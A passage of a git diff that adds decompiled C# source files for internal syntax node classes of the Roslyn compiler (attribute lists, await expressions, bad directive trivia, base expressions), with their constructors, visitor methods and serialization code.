closeBracketToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + attributeListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(attributeListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + attributeListSyntax = GreenNodeExtensions.WithAnnotationsGreen(attributeListSyntax, (IEnumerable)annotations); + } + return attributeListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AttributeListSyntax(base.Kind, openBracketToken, target, attributes, closeBracketToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AttributeListSyntax(base.Kind, openBracketToken, target, attributes, closeBracketToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AttributeListSyntax(ObjectReader reader) + : base(reader) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBracketToken = syntaxToken; + AttributeTargetSpecifierSyntax attributeTargetSpecifierSyntax = (AttributeTargetSpecifierSyntax)reader.ReadValue(); + if (attributeTargetSpecifierSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)attributeTargetSpecifierSyntax); + target = attributeTargetSpecifierSyntax; + } + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributes = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBracketToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)target); + writer.WriteValue((IObjectWritable)(object)attributes); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + } + + static AttributeListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AttributeListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AttributeListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeSyntax.cs new file mode 100644 index 0000000..9e1ae99 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AttributeSyntax : CSharpSyntaxNode +{ + internal readonly NameSyntax name; + + internal readonly AttributeArgumentListSyntax? argumentList; + + public NameSyntax Name => name; + + public AttributeArgumentListSyntax? ArgumentList => argumentList; + + internal AttributeSyntax(SyntaxKind kind, NameSyntax name, AttributeArgumentListSyntax? argumentList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + } + + internal AttributeSyntax(SyntaxKind kind, NameSyntax name, AttributeArgumentListSyntax? argumentList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + } + + internal AttributeSyntax(SyntaxKind kind, NameSyntax name, AttributeArgumentListSyntax? argumentList) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => name, + 1 => argumentList, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttribute(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttribute(this); + } + + public AttributeSyntax Update(NameSyntax name, AttributeArgumentListSyntax argumentList) + { + if (name != Name || argumentList != ArgumentList) + { + AttributeSyntax attributeSyntax = SyntaxFactory.Attribute(name, argumentList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + attributeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(attributeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + attributeSyntax = GreenNodeExtensions.WithAnnotationsGreen(attributeSyntax, (IEnumerable)annotations); + } + return attributeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AttributeSyntax(base.Kind, name, argumentList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AttributeSyntax(base.Kind, name, argumentList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AttributeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + NameSyntax nameSyntax = (NameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameSyntax); + name = nameSyntax; + AttributeArgumentListSyntax attributeArgumentListSyntax = (AttributeArgumentListSyntax)reader.ReadValue(); + if (attributeArgumentListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)attributeArgumentListSyntax); + argumentList = attributeArgumentListSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)argumentList); + } + + static AttributeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AttributeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AttributeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeTargetSpecifierSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeTargetSpecifierSyntax.cs new file mode 100644 index 0000000..2bb9af9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeTargetSpecifierSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AttributeTargetSpecifierSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken identifier; + + internal readonly SyntaxToken colonToken; + + public SyntaxToken Identifier => identifier; + + public SyntaxToken ColonToken => colonToken; + + internal AttributeTargetSpecifierSyntax(SyntaxKind kind, SyntaxToken identifier, SyntaxToken colonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal AttributeTargetSpecifierSyntax(SyntaxKind kind, SyntaxToken identifier, SyntaxToken colonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal AttributeTargetSpecifierSyntax(SyntaxKind kind, SyntaxToken identifier, SyntaxToken colonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => identifier, + 1 => colonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AttributeTargetSpecifierSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttributeTargetSpecifier(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttributeTargetSpecifier(this); + } + + public AttributeTargetSpecifierSyntax Update(SyntaxToken identifier, SyntaxToken colonToken) + { + if (identifier != Identifier || colonToken != ColonToken) + { + AttributeTargetSpecifierSyntax attributeTargetSpecifierSyntax = SyntaxFactory.AttributeTargetSpecifier(identifier, colonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + attributeTargetSpecifierSyntax = GreenNodeExtensions.WithDiagnosticsGreen(attributeTargetSpecifierSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + attributeTargetSpecifierSyntax = GreenNodeExtensions.WithAnnotationsGreen(attributeTargetSpecifierSyntax, (IEnumerable)annotations); + } + return attributeTargetSpecifierSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AttributeTargetSpecifierSyntax(base.Kind, identifier, colonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AttributeTargetSpecifierSyntax(base.Kind, identifier, colonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AttributeTargetSpecifierSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + colonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)colonToken); + } + + static AttributeTargetSpecifierSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AttributeTargetSpecifierSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AttributeTargetSpecifierSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AwaitExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AwaitExpressionSyntax.cs new file mode 100644 index 0000000..aaaaa91 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AwaitExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AwaitExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken awaitKeyword; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken AwaitKeyword => awaitKeyword; + + public ExpressionSyntax Expression => expression; + + internal AwaitExpressionSyntax(SyntaxKind kind, SyntaxToken awaitKeyword, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal AwaitExpressionSyntax(SyntaxKind kind, SyntaxToken awaitKeyword, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal AwaitExpressionSyntax(SyntaxKind kind, SyntaxToken awaitKeyword, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => awaitKeyword, + 1 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AwaitExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAwaitExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAwaitExpression(this); + } + + public AwaitExpressionSyntax Update(SyntaxToken awaitKeyword, ExpressionSyntax expression) + { + if (awaitKeyword != AwaitKeyword || expression != Expression) + { + AwaitExpressionSyntax awaitExpressionSyntax = SyntaxFactory.AwaitExpression(awaitKeyword, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + awaitExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(awaitExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + awaitExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(awaitExpressionSyntax, (IEnumerable)annotations); + } + return awaitExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AwaitExpressionSyntax(base.Kind, awaitKeyword, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AwaitExpressionSyntax(base.Kind, awaitKeyword, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AwaitExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + awaitKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)awaitKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static AwaitExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AwaitExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AwaitExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BadDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BadDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..f818fd2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BadDirectiveTriviaSyntax.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BadDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken identifier; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken Identifier => identifier; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal BadDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken identifier, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal BadDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken identifier, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal BadDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken identifier, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => identifier, + 2 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BadDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBadDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBadDirectiveTrivia(this); + } + + public BadDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken identifier, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || identifier != Identifier || endOfDirectiveToken != EndOfDirectiveToken) + { + BadDirectiveTriviaSyntax badDirectiveTriviaSyntax = SyntaxFactory.BadDirectiveTrivia(hashToken, identifier, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + badDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(badDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + badDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(badDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return badDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BadDirectiveTriviaSyntax(base.Kind, hashToken, identifier, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BadDirectiveTriviaSyntax(base.Kind, hashToken, identifier, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BadDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static BadDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BadDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BadDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseArgumentListSyntax.cs new file mode 100644 index 0000000..312e095 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseArgumentListSyntax.cs @@ -0,0 +1,24 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseArgumentListSyntax : CSharpSyntaxNode +{ + public abstract SeparatedSyntaxList Arguments { get; } + + internal BaseArgumentListSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseArgumentListSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseArgumentListSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseCrefParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseCrefParameterListSyntax.cs new file mode 100644 index 0000000..9338354 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseCrefParameterListSyntax.cs @@ -0,0 +1,24 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseCrefParameterListSyntax : CSharpSyntaxNode +{ + public abstract SeparatedSyntaxList Parameters { get; } + + internal BaseCrefParameterListSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseCrefParameterListSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseCrefParameterListSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseExpressionColonSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseExpressionColonSyntax.cs new file mode 100644 index 0000000..c094e0c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseExpressionColonSyntax.cs @@ -0,0 +1,25 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseExpressionColonSyntax : CSharpSyntaxNode +{ + public abstract ExpressionSyntax Expression { get; } + + public abstract SyntaxToken ColonToken { get; } + + internal BaseExpressionColonSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseExpressionColonSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseExpressionColonSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseExpressionSyntax.cs new file mode 100644 index 0000000..2f7f574 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseExpressionSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BaseExpressionSyntax : InstanceExpressionSyntax +{ + internal readonly SyntaxToken token; + + public SyntaxToken Token => token; + + internal BaseExpressionSyntax(SyntaxKind kind, SyntaxToken token, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal BaseExpressionSyntax(SyntaxKind kind, SyntaxToken token, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal BaseExpressionSyntax(SyntaxKind kind, SyntaxToken token) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)token; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BaseExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBaseExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBaseExpression(this); + } + + public BaseExpressionSyntax Update(SyntaxToken token) + { + if (token != Token) + { + BaseExpressionSyntax baseExpressionSyntax = SyntaxFactory.BaseExpression(token); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + baseExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(baseExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + baseExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(baseExpressionSyntax, (IEnumerable)annotations); + } + return baseExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BaseExpressionSyntax(base.Kind, token, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BaseExpressionSyntax(base.Kind, token, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BaseExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + 